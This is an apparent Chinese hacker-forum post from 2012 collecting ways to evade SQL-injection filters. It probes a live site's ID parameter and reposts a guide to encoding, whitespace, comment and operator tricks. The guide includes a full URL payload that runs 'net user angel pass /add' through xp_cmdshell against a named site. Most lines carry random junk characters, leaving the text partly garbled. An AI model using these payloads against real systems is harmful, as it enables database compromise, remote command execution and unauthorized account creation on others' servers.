找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2212|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
路过这个网站,检测了一下.! u5 L: g" C0 x0 Q7 |! K; ]3 y
http://www.xxx.cn/Article.asp?ID=117 and 1=1/ u* R, ~- v4 Z- {
直接返回主页. h, V1 }$ x; T& {3 R* [. N$ b  T
http://www.xxx.cn/Article.asp?ID=117 or 1=14 v/ Z& W! D( p- W% x& t* V
直接返回主页2 c- \7 P! @' J2 S2 Z# O  i( T! d
http://www.xxx.cn/Article.asp?ID=117 or
$ ]  c1 ^* d! h- y* l( e没有返回主页 没有过滤or- J# [1 `' w5 {
http://www.xxx.cn/Article.asp?ID=117 and
' R* I" Y% `; l4 X! j' i直接返回主页 看来过滤了and6 b. M2 m& A1 H: S& z. Y- J9 \8 r
http://www.xxx.cn/Article.asp?ID=117 or 1
; C. V% p  j8 U$ v. f: ^% _没有返回主页 即没有过滤or 也没有过滤1- k7 Z$ B# G1 J& B' y1 o. M2 l
http://www.xxx.cn/Article.asp?ID=117 or 1=13 p' y# c0 S6 U7 v. k8 @3 c( l
直接返回主页 很明显过滤了等号 * ]% J, t, t. q' N  ?3 D4 x) X
or的特性是与and相反的.- u+ U8 p# F( {2 y8 d
or 1=1 爆错 或与原页面不同7 l. A/ W* U* X0 _' D+ D$ T' l( w
or 1=2 原页面相同
* h( O4 f7 d/ K& X+ q5 V1 }这样就是一个注入点
+ N+ M, u& T! o( f6 ]: n但他过滤了=号 我就用><号代替=号吧!
9 ^  r( ~3 P  l, X( S$ ?: jor 1<2 很明显是正确的,所以应该与原页面不同( w4 o3 f( P( b& H6 ]& }
or 1>2 很明显是错误的,所以应该与原页面相同. i8 S# Z. @  R$ K+ ]
然后看看有没有过滤其他的查询语句,比如select.7 [; ]* I0 b3 U
http://www.xxx.cn/Article.asp?ID=117 select
1 a; e4 J5 u6 x1 ], h直接返回主页# h  g0 v/ ?) \, P# U/ d
又迷茫了..
) ~( U6 t$ h0 _( D4 o" x  `; B* r
# V: Q1 _' R- u; T
+ G; a2 b  u* f3 icookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
  k" S/ k  T9 a& c这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
0 @, K5 Z8 i; P- M% e' }9 i- D================================================
/ b& n  U5 B$ G, H以下是转贴:
& h# W  P# p( j* O* M0 d$ z- C' L) f" r6 ]4 Q3 }
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… * N. y; P+ j  j6 N# G6 O
经过我的收集,大部分的防注入程序都过滤了以下关键字:
9 m6 I7 r0 m3 g+ xand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =   C  }4 P" z# y3 i
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。   f( @; C3 ]4 _# Q' }
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 , y& m/ {0 P1 D, F% L
1、运用编码技术绕过
+ [8 P9 r8 s& P$ m$ v% K* U, h. I如URLEncode编码,ASCII编码绕过。例如or 1=1即 # Q% W6 s9 l/ T( p# V: b4 d
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
) S$ N" P6 A  v( c7 E0 O5 Z9 z$ H  Z' e& T" X( X& c% k
2、通过空格绕过
3 ^$ H0 S# q# ]/ I9 L" W7 B- C如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如   \# |( D7 I1 A: k  s3 t# A
or’ swords’ =‘swords’ ; n5 ^# Z. s$ K- N9 g
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 $ z' ~2 J6 d" ^9 {  ?/ Q- W
3、运用字符串判断代替
' w! u, {% H, C, ]) b8 u用经典的or 1=1判断绕过,如
2 {6 r% I. |2 E1 }9 {1 d- }or ’swords’ =’swords’
. G) z6 {! w/ v,这个方法就是网上在讨论的。
# ~: o* [1 @& A4 b# A4、通过类型转换修饰符N绕过 , J+ Y7 s# C& b: Q1 \
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
) `( X, f) J& b+ w7 V5、通过+号拆解字符串绕过
# \  _$ k! M2 y9 N效果值得考证,但毕竟是一种方法。如 ; {& Y2 p! Q0 j) e& W$ V" s1 h
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) % o% B4 n6 a+ {9 l$ ?$ p; G
% B& @- G( ]- I
6、通过LIKE绕过
9 B7 ?+ v1 w1 W$ ~# \2 N, F' f以前怎么就没想到呢?如or " X" P. X5 C  Q2 B2 f7 N% ]1 J. {
’swords’ LIKE ’sw’ - x" Y) W% ]3 N! x. S: ?
!!!显然可以很轻松的绕过 / B0 ^2 [( Z3 z4 W  x& w
“=”“>” 1 \+ r  z' A0 m: u! P
的限制…… : B! e+ t& f- r2 u+ I
7、通过IN绕过
# R4 L( L7 K( P, j* M与上面的LIKE的思路差不多,如 , S  t9 P  L9 x
or ’swords’ IN (’swords’) 6 f2 Y- D" e' k( l" C1 Q
" c. F. ^9 d5 X  P' W9 e
8、通过BETWEEN绕过 . w, S: r4 P: C  B- I
: \) o+ ^, k: H0 k3 E
or ’swords’ BETWEEN ’rw’ AND ’tw’
7 h& K: s/ D# ]
( C& P' a* [5 ?  }3 h, w9、通过>或者<绕过
- J, ^0 @8 o5 W) x5 por ’swords’ > ’sw’
" e8 ^0 g; G+ a/ por ’swords’ < ’tw’
/ `8 l0 y- Q" b' o- R# Ror 1<3 8 f+ w& ?0 h2 D! S  N
……   J" R2 z: M2 S
10、运用注释语句绕过 1 m0 X# Y# A; K7 @! B
用/**/代替空格,如: 4 Y' \3 V* y( K! ~7 r, h; |/ i
UNION /**/ Select /**/user,pwd,from tbluser
7 D- D! ?$ `8 r" {+ K  b9 ]
9 r& M( N" N& s8 ]2 S2 A用/**/分割敏感词,如:
6 x7 q  G1 d* K3 |0 s2 I* u( a1 yU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
; n+ e) g" U( l' X
! {3 R( E9 e- \0 F% l; n11、用HEX绕过,一般的IDS都无法检测出来
' Q  L. ~: _8 R0x730079007300610064006D0069006E00 =hex(sysadmin) 8 k0 t" \2 I2 P' Z4 V# S
0x640062005F006F0077006E0065007200 =hex(db_owner)
) g; m$ c% U9 p$ t: M  C6 w& g另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: " R0 |+ @! A4 \$ E. w
  declare @a sysname 3 u, `: K: E* b. Q5 j/ l+ F, \! p8 x4 }
  select @a=
) l) l& A0 Y6 E4 J( d$ \" k: m0 u# g  exec master.dbo.xp_cmdshell @a
( M! r  S. N" a7 w( t0 V; t效果
* @: v, n! n* S, t& ?http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- : B" d/ O! ]2 h) P. s/ o, G
& j) T: m' K& b/ Q
其中的 + M/ M0 `5 p5 n  U* x$ J
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 1 Q- E3 N+ K7 W1 Y3 K
就是
+ @0 [4 E5 F- o$ [# K# D“net user angel pass /add”4 j9 i. q) N! H$ \  s6 O; S: Z

% R$ a, F" {; K/ O! y' _% m一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
( q: T7 p0 p: i' V, ]5 P( u! o3 o引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
+ S" y/ ?( M3 N6 _另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似0 N; [$ u) u# `
Copy code. ?: R; i" K6 U
select * from table exec xp_cmdshell'xxxxxxxxxx'
* W4 B. a/ N0 T  H% D& _1 u' A9 C* o

3 ]3 ~7 }( }8 w8 X  W  O$ Yselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'
0 P* w! U+ S; d5 c* f' l5 w8 b$ v7 |1 w* B. V4 X+ H" V

; @/ M) |/ ~2 B6 J. \  O, r4 kselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
5 ^) g' ?% o5 @) Q) N* ?% B. e7 o, @/ t6 k: D! D
. q& n* v* F) a  Y; E$ m
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
$ {& ?6 W$ x- }: O+ B3 o, S
' Z6 h  s  N  w7 U# R/ ?3 V的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?8 _8 D6 I) B. l
6 W0 n) H: p; @- E& O- t
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
8 _$ h" K4 j$ X/ U. x; M可能大家早就知道了,不管怎么说,发在这里吧!2 P% H* G( c! [1 ]5 K' z9 Q

( T7 ^3 e0 p1 o' h: B- y最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。4 g& G+ D: i: B7 a7 B
3 C' z! s. D, ?9 k# p; G+ u5 s# H" y

$ Q! N- l5 O2 c- }' d7 V
$ ?. ]8 j& ?" s# Z! V& F+ b8 c对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
) r, x, S8 I7 S( m5 s' c比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
6 O) V% i  @' Y  y: @
0 _! q$ Q5 q; m, }, H- l: j. ?  E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表